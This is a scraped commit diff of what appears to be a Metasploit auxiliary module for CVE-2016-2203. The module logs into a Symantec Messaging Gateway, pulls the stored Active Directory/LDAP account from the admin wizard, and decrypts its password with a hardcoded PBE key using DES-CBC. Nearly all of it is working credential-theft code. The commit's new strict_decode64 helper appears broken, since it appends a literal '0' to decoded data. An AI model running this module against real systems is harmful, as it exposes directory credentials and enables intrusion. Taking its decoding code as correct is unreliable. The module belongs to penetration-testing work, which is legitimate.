4
4
##
5
5
6
6
require 'msf/core'
7
- require "base64"
8
7
require 'digest'
9
8
require "openssl"
10
9
11
10
12
11
class MetasploitModule < Msf ::Auxiliary
13
12
14
13
include Msf ::Auxiliary ::Scanner
15
- include Msf ::Auxiliary ::Report
16
14
include Msf ::Exploit ::Remote ::HttpClient
17
15
18
16
def initialize ( info = { } )
19
17
super ( update_info ( info ,
20
- 'Name' => 'Symantec Messaging Gateway 10 LDAP Creds Graber ' ,
18
+ 'Name' => 'Symantec Messaging Gateway 10 Exposure of Stored AD Password Vulnerability ' ,
21
19
'Description' => %q{
22
- This module will grab the AD account saved in Symantec Messaging Gateway and then decipher it using the disclosed symantec pbe key. Note that authentication is required in order to successfully grab the LDAP credentials, you need at least a read account. Version 10.6.0-7 and earlier are affected
23
-
20
+ This module will grab the AD account saved in Symantec Messaging Gateway and then
21
+ decipher it using the disclosed Symantec PBE key. Note that authentication is required
22
+ in order to successfully grab the LDAP credentials, and you need at least a read account.
23
+ Version 10.6.0-7 and earlier are affected
24
24
} ,
25
25
'References' =>
26
26
[
27
27
[ 'URL' , 'https://www.symantec.com/security_response/securityupdates/detail.jsp?fid=security_advisory&pvid=security_advisory&year=&suid=20160418_00' ] ,
28
28
[ 'CVE' , '2016-2203' ] ,
29
29
[ 'BID' , '86137' ]
30
30
] ,
31
-
32
31
'Author' =>
33
32
[
34
33
'Fakhir Karim Reda <karim.fakhir[at]gmail.com>'
@@ -40,19 +39,20 @@ def initialize(info = {})
40
39
'RPORT' => 443
41
40
} ,
42
41
'License' => MSF_LICENSE ,
43
- 'DisclosureDate' => " Dec 17 2015"
42
+ 'DisclosureDate' => ' Dec 17 2015'
44
43
) )
44
+
45
45
register_options (
46
46
[
47
- OptInt . new ( 'TIMEOUT' , [ true , 'HTTPS connect/read timeout in seconds' , 1 ] ) ,
48
47
Opt ::RPORT ( 443 ) ,
49
48
OptString . new ( 'USERNAME' , [ true , 'The username to login as' ] ) ,
50
- OptString . new ( 'PASSWORD' , [ true , 'The password to login with' ] )
49
+ OptString . new ( 'PASSWORD' , [ true , 'The password to login with' ] ) ,
50
+ OptString . new ( 'TARGETURI' , [ true , 'The base path to Symantec Messaging Gateway' , '/' ] )
51
51
] , self . class )
52
+
52
53
deregister_options ( 'RHOST' )
53
54
end
54
55
55
-
56
56
def print_status ( msg = '' )
57
57
super ( "#{ peer } - #{ msg } " )
58
58
end
@@ -91,11 +91,11 @@ def report_cred(opts)
91
91
end
92
92
93
93
def auth ( username , password , sid , last_login )
94
- # Real JSESSIONID cookie
95
94
sid2 = ''
96
- res = send_request_cgi ( {
95
+
96
+ res = send_request_cgi! ( {
97
97
'method' => 'POST' ,
98
- 'uri' => '/ brightmail/ login.do',
98
+ 'uri' => normalize_uri ( target_uri . path , ' brightmail' , ' login.do') ,
99
99
'headers' => {
100
100
'Referer' => "https://#{ peer } /brightmail/viewLogin.do" ,
101
101
'Connection' => 'keep-alive'
@@ -110,174 +110,205 @@ def auth(username, password, sid, last_login)
110
110
'loginBtn' => 'Login'
111
111
}
112
112
} )
113
- if res . body =~ /Logged in/
114
- sid2 = res . get_cookies . scan ( /JSESSIONID=([a-zA-Z0-9]+)/ ) . flatten [ 0 ] || ''
113
+
114
+ if res &&res . body =~ /Logged in/
115
+ sid2 = res . get_cookies . scan ( /JSESSIONID=([a-zA-Z0-9]+)/ ) . flatten [ 0 ]
115
116
return sid2
116
117
end
117
- if res and res . headers [ 'Location' ]
118
- mlocation = res . headers [ 'Location' ]
119
- new_uri = res . headers [ 'Location' ] . scan ( /^http:\/ \/ [\d \. ]+:\d +(\/ .+)/ ) . flatten [ 0 ]
120
- res = send_request_cgi ( {
121
- 'uri' => new_uri ,
122
- 'cookie' => "userLanguageCode=en; userCountryCode=US; JSESSIONID=#{ sid } "
123
- } )
124
- sid2 = res . get_cookies . scan ( /JSESSIONID=([a-zA-Z0-9]+)/ ) . flatten [ 0 ] || ''
125
- return sid2 if res and res . body =~ /Logged in/
126
- end
127
- return false
118
+
119
+ nil
128
120
end
129
121
130
122
def get_login_data
131
123
sid = '' #From cookie
132
124
last_login = '' #A hidden field in the login page
133
- res = send_request_raw ( { 'uri' => '/brightmail/viewLogin.do' } )
134
- if res and !res . get_cookies . empty?
135
- sid = res . get_cookies . scan ( /JSESSIONID=([a-zA-Z0-9]+)/ ) . flatten [ 0 ] || ''
136
- end
125
+
126
+ res = send_request_raw ( {
127
+ 'uri' => normalize_uri ( target_uri . path , 'brightmail' , 'viewLogin.do' )
128
+ } )
129
+
137
130
if res
138
- last_login = res . body . scan ( /<input type="hidden" name="lastlogin" value="(.+)"\/ >/ ) . flatten [ 0 ] || ''
131
+ last_login = res . get_hidden_inputs . first [ 'lastlogin' ] || ''
132
+
133
+ unless res . get_cookies . empty?
134
+ sid = res . get_cookies . scan ( /JSESSIONID=([a-zA-Z0-9]+)/ ) . flatten [ 0 ] || ''
135
+ end
139
136
end
137
+
140
138
return sid , last_login
141
139
end
142
140
141
+
143
142
# Returns the status of the listening port.
144
143
#
145
144
# @return [Boolean] TrueClass if port open, otherwise FalseClass.
146
-
147
145
def port_open?
148
146
begin
149
- res = send_request_raw ( { 'method' => 'GET' , 'uri' => '/' } , datastore [ 'TIMEOUT' ] )
147
+ res = send_request_raw ( {
148
+ 'method' => 'GET' ,
149
+ 'uri' => normalize_uri ( target_uri . path )
150
+ } )
151
+
150
152
return true if res
151
153
rescue ::Rex ::ConnectionRefused
152
- print_status ( "#{ peer } - Connection refused" )
153
- return false
154
+ print_status ( "Connection refused" )
154
155
rescue ::Rex ::ConnectionError
155
- print_error ( "#{ peer } - Connection failed" )
156
- return false
156
+ print_error ( "Connection failed" )
157
157
rescue ::OpenSSL ::SSL ::SSLError
158
- print_error ( "#{ peer } - SSL/TLS connection error" )
159
- return false
158
+ print_error ( "SSL/TLS connection error" )
160
159
end
160
+
161
+ false
161
162
end
162
163
163
164
# Returns the derived key from the password, the salt and the iteration count number.
164
165
#
165
166
# @return Array of byte containing the derived key.
166
167
def get_derived_key ( password , salt , count )
167
168
key = password + salt
169
+
168
170
for i in 0 ..count -1
169
171
key = Digest ::MD5 . digest ( key )
170
172
end
173
+
171
174
kl = key . length
175
+
172
176
return key [ 0 , 8 ] , key [ 8 , kl ]
173
177
end
174
178
179
+ # Returns the decoded Base64 data in RFC-4648 implementation.
180
+ # The Rex implementation decoding Base64 is by using unpack("m").
181
+ # By default, the "m" directive uses RFC-2045, but if followed by 0,
182
+ # it uses RFC-4648, which is the same RFC Base64.strict_decode64 uses.
183
+ def strict_decode64 ( str )
184
+ "#{ Rex ::Text . decode_base64 ( str ) } 0"
185
+ end
186
+
175
187
176
188
# @Return the deciphered password
177
189
# Algorithm obtained by reversing the firmware
178
- #
179
190
def decrypt ( enc_str )
180
- pbe_key = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ,./<>?;':\" \\ {}`~!@#$%^&*()_+-="
181
- salt = ( Base64 . strict_decode64 ( enc_str [ 0 , 12 ] ) )
182
- remsg = ( Base64 . strict_decode64 ( enc_str [ 12 , enc_str . length ] ) )
191
+ pbe_key = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ,./<>?;':\" \\ {}`~!@#$%^&*()_+-="
192
+ salt = strict_decode64 ( enc_str [ 0 , 12 ] )
193
+ remsg = strict_decode64 ( enc_str [ 12 , enc_str . length ] )
183
194
( dk , iv ) = get_derived_key ( pbe_key , salt , 1000 )
184
- alg = "des-cbc"
195
+ alg = 'des-cbc'
196
+
185
197
decode_cipher = OpenSSL ::Cipher ::Cipher . new ( alg )
186
198
decode_cipher . decrypt
187
199
decode_cipher . padding = 0
188
200
decode_cipher . key = dk
189
201
decode_cipher . iv = iv
190
202
plain = decode_cipher . update ( remsg )
191
203
plain << decode_cipher . final
192
- return plain . gsub ( /[\x01 -\x08 ]/ , '' )
204
+
205
+ plain . gsub ( /[\x01 -\x08 ]/ , '' )
193
206
end
194
207
195
- def grab_auths ( sid , last_login )
196
- token = '' #from hidden input
197
- selected_ldap = '' # from checkbox input
198
- new_uri = '' # redirection
199
- flow_id = '' # id of the flow
200
- folder = '' # symantec folder
201
- res = send_request_cgi ( {
202
- 'method' => 'GET' ,
203
- 'uri' => "/brightmail/setting/ldap/LdapWizardFlow$exec.flo" ,
204
- 'headers' => {
205
- 'Referer' => "https://#{ peer } /brightmail/setting/ldap/LdapWizardFlow$exec.flo" ,
206
- 'Connection' => 'keep-alive'
207
- } ,
208
- 'cookie' => "userLanguageCode=en; userCountryCode=US; JSESSIONID=#{ sid } ;"
209
- } )
210
- if res
211
- token = res . body . scan ( /<input type="hidden" name="symantec.brightmail.key.TOKEN" value="(.+)"\/ >/ ) . flatten [ 0 ] || ''
212
- selected_ldap = res . body . scan ( /<input type="checkbox" value="(.+)" name="selectedLDAP".+\/ >/ ) . flatten [ 0 ] || ''
213
- else
214
- return false
215
- end
216
- res = send_request_cgi ( {
217
- 'method' => 'POST' ,
218
- 'uri' => "/brightmail/setting/ldap/LdapWizardFlow$edit.flo" ,
219
- 'headers' => {
220
- 'Referer' => "https://#{ peer } /brightmail/setting/ldap/LdapWizardFlow$exec.flo" ,
221
- 'Connection' => 'keep-alive'
222
- } ,
223
- 'cookie' => "userLanguageCode=en; userCountryCode=US; JSESSIONID=#{ sid } ; " ,
224
- 'vars_post' => {
225
- 'flowId' => '0' ,
226
- 'userLocale' => '' ,
227
- 'lang' => 'en_US' ,
228
- 'symantec.brightmail.key.TOKEN' => "#{ token } " ,
229
- 'selectedLDAP' => "#{ selected_ldap } "
230
- }
231
- } )
232
- if res and res . headers [ 'Location' ]
233
- mlocation = res . headers [ 'Location' ]
234
- new_uri = res . headers [ 'Location' ] . scan ( /^https:\/ \/ [\d \. ]+(\/ .+)/ ) . flatten [ 0 ]
235
- flow_id = new_uri . scan ( /.*\? flowId=(.+)/ ) . flatten [ 0 ]
236
- folder = new_uri . scan ( /(.*)\? flowId=.*/ ) . flatten [ 0 ]
237
- else
238
- return false
239
- end
240
- res = send_request_cgi ( {
241
- 'method' => 'GET' ,
242
- 'uri' => "#{ folder } " ,
243
- 'headers' => {
244
- 'Referer' => "https://#{ peer } /brightmail/setting/ldap/LdapWizardFlow$exec.flo" ,
245
- 'Connection' => 'keep-alive'
246
- } ,
247
- 'cookie' => "userLanguageCode=en; userCountryCode=US; JSESSIONID=#{ sid } ; " ,
248
- 'vars_get' => {
249
- 'flowId' => "#{ flow_id } " ,
250
- 'userLocale' => '' ,
251
- 'lang' => 'en_US'
252
- }
253
- } )
254
- if res and res . code == 200
255
- login = res . body . scan ( /<input type="text" name="userName".*value="(.+)"\/ >/ ) . flatten [ 0 ] || ''
256
- password = res . body . scan ( /<input type="password" name="password".*value="(.+)"\/ >/ ) . flatten [ 0 ] || ''
257
- host = res . body . scan ( /<input name="host" id="host" type="text" value="(.+)" class/ ) . flatten [ 0 ] || ''
258
- port = res . body . scan ( /<input name="port" id="port" type="text" value="(.+)" class/ ) . flatten [ 0 ] || ''
259
- password = decrypt ( password )
260
- print_good ( "Found login = '#{ login } ' password = '#{ password } ' host ='#{ host } ' port = '#{ port } ' " )
261
- report_cred ( ip : host , port : port , user :login , password : password , proof : res . code . to_s )
262
- end
208
+
209
+ def grab_auths ( sid , last_login )
210
+ token = '' # from hidden input
211
+ selected_ldap = '' # from checkbox input
212
+ new_uri = '' # redirection
213
+ flow_id = '' # id of the flow
214
+ folder = '' # symantec folder
215
+
216
+ res = send_request_cgi ( {
217
+ 'method' => 'GET' ,
218
+ 'uri' => normalize_uri ( target_uri . path , '/brightmail/setting/ldap/LdapWizardFlow$exec.flo' ) ,
219
+ 'headers' => {
220
+ 'Referer' => "https://#{ peer } /brightmail/setting/ldap/LdapWizardFlow$exec.flo" ,
221
+ 'Connection' => 'keep-alive'
222
+ } ,
223
+ 'cookie' => "userLanguageCode=en; userCountryCode=US; JSESSIONID=#{ sid } ;"
224
+ } )
225
+
226
+ unless res
227
+ fail_with ( Failure ::Unknown , 'Connection timed out while getting token to authenticate.' )
228
+ end
229
+
230
+ token = res . get_hidden_inputs . first [ 'symantec.brightmail.key.TOKEN' ] || ''
231
+
232
+ res = send_request_cgi ( {
233
+ 'method' => 'POST' ,
234
+ 'uri' => normalize_uri ( target_uri . path , '/brightmail/setting/ldap/LdapWizardFlow$edit.flo' ) ,
235
+ 'cookie' => "userLanguageCode=en; userCountryCode=US; JSESSIONID=#{ sid } ; " ,
236
+ 'vars_post' =>
237
+ {
238
+ 'flowId' => '0' ,
239
+ 'userLocale' => '' ,
240
+ 'lang' => 'en_US' ,
241
+ 'symantec.brightmail.key.TOKEN' => "#{ token } "
242
+ } ,
243
+ 'headers' =>
244
+ {
245
+ 'Referer' => "https://#{ peer } /brightmail/setting/ldap/LdapWizardFlow$exec.flo" ,
246
+ 'Connection' => 'keep-alive'
247
+ }
248
+ } )
249
+
250
+ unless res
251
+ fail_with ( Failure ::Unknown , 'Connection timed out while attempting to authenticate.' )
252
+ end
253
+
254
+ if res . headers [ 'Location' ]
255
+ mlocation = res . headers [ 'Location' ]
256
+ new_uri = res . headers [ 'Location' ] . scan ( /^https:\/ \/ [\d \. ]+(\/ .+)/ ) . flatten [ 0 ]
257
+ flow_id = new_uri . scan ( /.*\? flowId=(.+)/ ) . flatten [ 0 ]
258
+ folder = new_uri . scan ( /(.*)\? flowId=.*/ ) . flatten [ 0 ]
259
+ end
260
+
261
+ res = send_request_cgi ( {
262
+ 'method' => 'GET' ,
263
+ 'uri' => "#{ folder } " ,
264
+ 'headers' => {
265
+ 'Referer' => "https://#{ peer } /brightmail/setting/ldap/LdapWizardFlow$exec.flo" ,
266
+ 'Connection' => 'keep-alive'
267
+ } ,
268
+ 'cookie' => "userLanguageCode=en; userCountryCode=US; JSESSIONID=#{ sid } ; " ,
269
+ 'vars_get' => {
270
+ 'flowId' => "#{ flow_id } " ,
271
+ 'userLocale' => '' ,
272
+ 'lang' => 'en_US'
273
+ }
274
+ } )
275
+
276
+ unless res
277
+ fail_with ( Failure ::Unknown , 'Connection timed out while trying to collect credentials.' )
278
+ end
279
+
280
+ if res . code == 200
281
+ login = res . body . scan ( /<input type="text" name="userName".*value="(.+)"\/ >/ ) . flatten [ 0 ] || ''
282
+ password = res . body . scan ( /<input type="password" name="password".*value="(.+)"\/ >/ ) . flatten [ 0 ] || ''
283
+ host = res . body . scan ( /<input name="host" id="host" type="text" value="(.+)" class/ ) . flatten [ 0 ] || ''
284
+ port = res . body . scan ( /<input name="port" id="port" type="text" value="(.+)" class/ ) . flatten [ 0 ] || ''
285
+ password = decrypt ( password )
286
+ print_good ( "Found login = '#{ login } ' password = '#{ password } ' host ='#{ host } ' port = '#{ port } ' " )
287
+ report_cred ( ip : host , port : port , user :login , password : password , proof : res . code . to_s )
288
+ end
263
289
end
264
290
265
291
def run_host ( ip )
266
- return unless port_open?
292
+ unless port_open?
293
+ print_status ( "Port is not open." )
294
+ end
295
+
267
296
sid , last_login = get_login_data
268
- if sid . empty? or last_login . empty?
269
- print_error ( "#{ peer } - Missing required login data. Cannot continue." )
297
+
298
+ if sid . empty? || last_login . empty?
299
+ print_error ( "Missing required login data. Cannot continue." )
270
300
return
271
301
end
302
+
272
303
username = datastore [ 'USERNAME' ]
273
304
password = datastore [ 'PASSWORD' ]
274
305
sid = auth ( username , password , sid , last_login )
275
- if not sid
276
- print_error ( "#{ peer } - Unable to login. Cannot continue." )
277
- return
306
+
307
+ if sid
308
+ print_good ( "Logged in as '#{ username } :#{ password } ' Sid: '#{ sid } ' LastLogin '#{ last_login } '" )
309
+ grab_auths ( sid , last_login )
278
310
else
279
- print_good ( " #{ peer } - Logged in as ' #{ username } : #{ password } ' Sid: ' #{ sid } ' LastLogin ' #{ last_login } ' ")
311
+ print_error ( "Unable to login. Cannot continue. ")
280
312
end
281
- grab_auths ( sid , last_login )
282
313
end
283
314
end
0 commit comments